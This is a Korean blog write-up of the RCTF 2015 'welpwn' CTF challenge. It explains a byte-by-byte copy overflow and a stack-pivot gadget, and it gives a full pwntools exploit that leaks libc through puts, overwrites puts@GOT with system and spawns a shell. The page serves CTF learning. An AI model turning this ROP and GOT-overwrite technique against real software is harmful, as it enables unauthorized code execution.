ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • RCTF 2015 welpwn
    Pwnable/CTF 2017. 11. 4. 20:49

    main 함수를 보면 1024크기를 가진 buf에 1024까지 입력을 받고 echo 함수로 엄청나게 작은 사이즈를 가진 버퍼에 복사를 하면서 오버플로우가 일어나는데 이때 복사를 하는게 strcpy 같은 함수가아닌 for문으로 buf에 NULL값을 만날때 까지여서 바로 ROP를 때리면 중간에 멈추게되면서 실패한다.



    현재 AAAAAAAAAAAA를 넣고 한개를 복사했을때 모습이다.

    echo 함수 ret뒤에 바로 main함수 버퍼가 있어 저것을이용하여서 공격을 때릴수있다.


    echo 부분에서 ret에 0x40089c에 있는 esp를 움직일수있게 하는 가젯을 쓰면 아래쪽 NULL값 걱정이 없는 1024 buf에 esp가 가게될것이다. 

    echo에 있는 buf가 아닌 main에 있는 buf에 제대로된 ROP를 때리면 쉘을 딸 수 있다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    from pwn import *
     
    p=process("./welpwn")
    elf=ELF("./welpwn")
     
     
    print p.recv(1024)
    raw_input('$ ')
     
    pop_rdi = 0x4008a3
    pop_rsi_r15 = 0x4008a1
    stack_mov = 0x40089c
     
     
    payload = "A"*24
    payload += p64(stack_mov)
    payload += p64(pop_rdi)
    payload += p64(elf.got['puts'])
    payload += p64(elf.plt['puts'])
     
    payload += p64(pop_rdi)
    payload += p64(0)
    payload += p64(pop_rsi_r15)
    payload += p64(elf.got['puts'])
    payload += p64(0)
    payload += p64(elf.plt['read'])
     
    payload += p64(pop_rdi)
    payload += p64(0)
    payload += p64(pop_rsi_r15)
    payload += p64(elf.bss())
    payload += p64(0)
    payload += p64(elf.plt['read'])
     
    payload += p64(pop_rdi)
    payload += p64(elf.bss())
    payload += p64(elf.plt['puts'])
     
    p.sendline(payload)
     
    p.recvuntil("A"*24)
    p.recv(3)
    puts = u64(p.recv(6)+"\00\00")
    libc_base = puts - 0x6f690
    system = libc_base + 0x45390
    print hex(puts)
    print hex(libc_base)
    print hex(system)
     
    p.sendline(p64(system))
    p.sendline("/bin/sh\00")
     
    p.interactive()
     
    cs


    'Pwnable > CTF' 카테고리의 다른 글

    RCTF 2017 AirCraft  (0) 2017.11.08
    RCTF 2015 SHAXPIAN  (0) 2017.11.04
    Belluminar 2016 remuheap  (0) 2017.10.19
    31c3ctf 2014 mynx  (1) 2017.10.09
    bctf 2016 memo  (0) 2017.10.02
Designed by Tistory.